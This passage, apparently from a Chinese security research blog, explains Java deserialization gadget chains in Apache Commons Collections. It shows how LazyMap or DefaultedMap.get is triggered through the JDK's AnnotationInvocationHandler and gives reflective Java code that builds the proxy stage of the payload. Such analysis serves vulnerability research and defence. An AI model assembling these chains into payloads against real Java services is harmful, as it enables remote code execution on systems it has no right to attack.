主要就是找到相应的出发点，然后找新的出发点。然后可以结合**ChainedTransformer调用InvokerTransformer** 访问任意类任意方法 或者 **InstantiateTransformer结合TrAXFilter**调用**templateimpl**。

0x07 补充lazymap/DefaultedMap.get

> 由于`org.apache.commons.collections.map.LazyMap#get/org.apache.commons.collections.map.DefaultedMap#get`会调用任意`Transformer`类的`transform`方法，所以我们给几条触发`get`的方法，

AnnotationInvocationHandle触发map.get

sun.reflect.annotation.AnnotationInvocationHandler#invoke

```java
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    public Object invoke(Object proxy, Method method, Object[] args) {

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError( detailMessage: "Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);
```

memberValues可控，map类型. 可以触发.但是由于memberValues限制了private final Map<String, Object> memberValues;

```
        Class<?> AnnotationInvocationHandler =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Anotationdeclared =
                AnnotationInvocationHandler.getDeclaredConstructor(Class.class,
Map.class);
        Anotationdeclared.setAccessible(true);
        InvocationHandler h = (InvocationHandler)
Anotationdeclared.newInstance(Override.class, memberValues);
        Map Mapproxy =(Map)
Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new Class[]
{Map.class}, h);
        Object instance =Anotationdeclared.newInstance(Override.class, Mapproxy);
```